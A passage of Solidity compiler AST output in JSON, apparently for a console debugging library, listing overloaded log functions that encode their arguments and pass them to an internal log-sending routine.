e":16748,"src":"9591:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16731,"name":"bool","nodeType":"ElementaryTypeName","src":"9591:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16734,"mutability":"mutable","name":"p2","nameLocation":"9605:2:14","nodeType":"VariableDeclaration","scope":16748,"src":"9600:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16733,"name":"uint","nodeType":"ElementaryTypeName","src":"9600:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9581:27:14"},"returnParameters":{"id":16736,"nodeType":"ParameterList","parameters":[],"src":"9623:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16768,"nodeType":"FunctionDefinition","src":"9721:157:14","nodes":[],"body":{"id":16767,"nodeType":"Block","src":"9784:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c737472696e6729","id":16760,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9834:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8b0e14fe247223cbba6a19a2fac250db70b4f126d0f3f63ac9c3f080885b9f82","typeString":"literal_string \"log(uint,bool,string)\""},"value":"log(uint,bool,string)"},{"id":16761,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16750,"src":"9859:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16762,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16752,"src":"9863:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16763,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16754,"src":"9867:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8b0e14fe247223cbba6a19a2fac250db70b4f126d0f3f63ac9c3f080885b9f82","typeString":"literal_string \"log(uint,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16758,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9810:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16759,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9814:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9810:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9810:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16757,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9794:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9794:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16766,"nodeType":"ExpressionStatement","src":"9794:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9730:3:14","parameters":{"id":16755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16750,"mutability":"mutable","name":"p0","nameLocation":"9739:2:14","nodeType":"VariableDeclaration","scope":16768,"src":"9734:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16749,"name":"uint","nodeType":"ElementaryTypeName","src":"9734:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16752,"mutability":"mutable","name":"p1","nameLocation":"9748:2:14","nodeType":"VariableDeclaration","scope":16768,"src":"9743:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16751,"name":"bool","nodeType":"ElementaryTypeName","src":"9743:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16754,"mutability":"mutable","name":"p2","nameLocation":"9766:2:14","nodeType":"VariableDeclaration","scope":16768,"src":"9752:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16753,"name":"string","nodeType":"ElementaryTypeName","src":"9752:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9733:36:14"},"returnParameters":{"id":16756,"nodeType":"ParameterList","parameters":[],"src":"9784:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16788,"nodeType":"FunctionDefinition","src":"9884:146:14","nodes":[],"body":{"id":16787,"nodeType":"Block","src":"9938:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c626f6f6c29","id":16780,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9988:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d5ceace024d24c243571d0b2393ca9fb37aa961a0e028332e72cd7dfb84c0971","typeString":"literal_string \"log(uint,bool,bool)\""},"value":"log(uint,bool,bool)"},{"id":16781,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16770,"src":"10011:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16782,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16772,"src":"10015:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16783,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16774,"src":"10019:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d5ceace024d24c243571d0b2393ca9fb37aa961a0e028332e72cd7dfb84c0971","typeString":"literal_string \"log(uint,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16778,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9964:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16779,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9968:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9964:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9964:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16777,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9948:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16785,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9948:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16786,"nodeType":"ExpressionStatement","src":"9948:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9893:3:14","parameters":{"id":16775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16770,"mutability":"mutable","name":"p0","nameLocation":"9902:2:14","nodeType":"VariableDeclaration","scope":16788,"src":"9897:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16769,"name":"uint","nodeType":"ElementaryTypeName","src":"9897:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16772,"mutability":"mutable","name":"p1","nameLocation":"9911:2:14","nodeType":"VariableDeclaration","scope":16788,"src":"9906:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16771,"name":"bool","nodeType":"ElementaryTypeName","src":"9906:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16774,"mutability":"mutable","name":"p2","nameLocation":"9920:2:14","nodeType":"VariableDeclaration","scope":16788,"src":"9915:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16773,"name":"bool","nodeType":"ElementaryTypeName","src":"9915:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9896:27:14"},"returnParameters":{"id":16776,"nodeType":"ParameterList","parameters":[],"src":"9938:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16808,"nodeType":"FunctionDefinition","src":"10036:152:14","nodes":[],"body":{"id":16807,"nodeType":"Block","src":"10093:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c6164647265737329","id":16800,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10143:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_424effbf6346b3a7c79debdbad20f804c7961e0193d509136d2bb7c09c7ff9b2","typeString":"literal_string \"log(uint,bool,address)\""},"value":"log(uint,bool,address)"},{"id":16801,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16790,"src":"10169:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16802,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16792,"src":"10173:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16803,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16794,"src":"10177:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_424effbf6346b3a7c79debdbad20f804c7961e0193d509136d2bb7c09c7ff9b2","typeString":"literal_string \"log(uint,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16798,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10119:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16799,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10123:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10119:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10119:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16797,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10103:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16805,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10103:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16806,"nodeType":"ExpressionStatement","src":"10103:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10045:3:14","parameters":{"id":16795,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16790,"mutability":"mutable","name":"p0","nameLocation":"10054:2:14","nodeType":"VariableDeclaration","scope":16808,"src":"10049:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16789,"name":"uint","nodeType":"ElementaryTypeName","src":"10049:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16792,"mutability":"mutable","name":"p1","nameLocation":"10063:2:14","nodeType":"VariableDeclaration","scope":16808,"src":"10058:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16791,"name":"bool","nodeType":"ElementaryTypeName","src":"10058:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16794,"mutability":"mutable","name":"p2","nameLocation":"10075:2:14","nodeType":"VariableDeclaration","scope":16808,"src":"10067:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16793,"name":"address","nodeType":"ElementaryTypeName","src":"10067:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10048:30:14"},"returnParameters":{"id":16796,"nodeType":"ParameterList","parameters":[],"src":"10093:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16828,"nodeType":"FunctionDefinition","src":"10194:152:14","nodes":[],"body":{"id":16827,"nodeType":"Block","src":"10251:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c75696e7429","id":16820,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10301:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_884343aaf095a99f79852cd574543144a9a04148c5eb5687826e5e86a2554617","typeString":"literal_string \"log(uint,address,uint)\""},"value":"log(uint,address,uint)"},{"id":16821,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16810,"src":"10327:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16822,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16812,"src":"10331:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16823,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16814,"src":"10335:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_884343aaf095a99f79852cd574543144a9a04148c5eb5687826e5e86a2554617","typeString":"literal_string \"log(uint,address,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16818,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10277:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16819,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10281:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10277:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10277:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16817,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10261:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10261:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16826,"nodeType":"ExpressionStatement","src":"10261:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10203:3:14","parameters":{"id":16815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16810,"mutability":"mutable","name":"p0","nameLocation":"10212:2:14","nodeType":"VariableDeclaration","scope":16828,"src":"10207:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16809,"name":"uint","nodeType":"ElementaryTypeName","src":"10207:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16812,"mutability":"mutable","name":"p1","nameLocation":"10224:2:14","nodeType":"VariableDeclaration","scope":16828,"src":"10216:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16811,"name":"address","nodeType":"ElementaryTypeName","src":"10216:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16814,"mutability":"mutable","name":"p2","nameLocation":"10233:2:14","nodeType":"VariableDeclaration","scope":16828,"src":"10228:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16813,"name":"uint","nodeType":"ElementaryTypeName","src":"10228:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10206:30:14"},"returnParameters":{"id":16816,"nodeType":"ParameterList","parameters":[],"src":"10251:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16848,"nodeType":"FunctionDefinition","src":"10352:163:14","nodes":[],"body":{"id":16847,"nodeType":"Block","src":"10418:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c737472696e6729","id":16840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10468:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ce83047b6eeeca52b57db5064e316bb4dc615477077814d1a191d68a4818cbed","typeString":"literal_string \"log(uint,address,string)\""},"value":"log(uint,address,string)"},{"id":16841,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16830,"src":"10496:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16842,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16832,"src":"10500:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16843,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16834,"src":"10504:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ce83047b6eeeca52b57db5064e316bb4dc615477077814d1a191d68a4818cbed","typeString":"literal_string \"log(uint,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16838,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10444:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10448:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10444:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10444:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10428:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10428:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16846,"nodeType":"ExpressionStatement","src":"10428:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10361:3:14","parameters":{"id":16835,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16830,"mutability":"mutable","name":"p0","nameLocation":"10370:2:14","nodeType":"VariableDeclaration","scope":16848,"src":"10365:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16829,"name":"uint","nodeType":"ElementaryTypeName","src":"10365:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16832,"mutability":"mutable","name":"p1","nameLocation":"10382:2:14","nodeType":"VariableDeclaration","scope":16848,"src":"10374:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16831,"name":"address","nodeType":"ElementaryTypeName","src":"10374:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16834,"mutability":"mutable","name":"p2","nameLocation":"10400:2:14","nodeType":"VariableDeclaration","scope":16848,"src":"10386:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16833,"name":"string","nodeType":"ElementaryTypeName","src":"10386:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10364:39:14"},"returnParameters":{"id":16836,"nodeType":"ParameterList","parameters":[],"src":"10418:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16868,"nodeType":"FunctionDefinition","src":"10521:152:14","nodes":[],"body":{"id":16867,"nodeType":"Block","src":"10578:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c626f6f6c29","id":16860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10628:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7ad0128e41690364edd967a051c6d9cea9f7c322246c5ed2ebc0083265828a80","typeString":"literal_string \"log(uint,address,bool)\""},"value":"log(uint,address,bool)"},{"id":16861,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16850,"src":"10654:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16862,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16852,"src":"10658:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16863,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16854,"src":"10662:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7ad0128e41690364edd967a051c6d9cea9f7c322246c5ed2ebc0083265828a80","typeString":"literal_string \"log(uint,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16858,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10604:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16859,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10608:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10604:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16864,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10604:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16857,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10588:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16865,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10588:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16866,"nodeType":"ExpressionStatement","src":"10588:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10530:3:14","parameters":{"id":16855,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16850,"mutability":"mutable","name":"p0","nameLocation":"10539:2:14","nodeType":"VariableDeclaration","scope":16868,"src":"10534:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16849,"name":"uint","nodeType":"ElementaryTypeName","src":"10534:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16852,"mutability":"mutable","name":"p1","nameLocation":"10551:2:14","nodeType":"VariableDeclaration","scope":16868,"src":"10543:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16851,"name":"address","nodeType":"ElementaryTypeName","src":"10543:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16854,"mutability":"mutable","name":"p2","nameLocation":"10560:2:14","nodeType":"VariableDeclaration","scope":16868,"src":"10555:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16853,"name":"bool","nodeType":"ElementaryTypeName","src":"10555:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10533:30:14"},"returnParameters":{"id":16856,"nodeType":"ParameterList","parameters":[],"src":"10578:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16888,"nodeType":"FunctionDefinition","src":"10679:158:14","nodes":[],"body":{"id":16887,"nodeType":"Block","src":"10739:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c6164647265737329","id":16880,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10789:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7d77a61be18c592527fe1ce89d591c1badea18ef3198dacc513c5ba08449fd7b","typeString":"literal_string 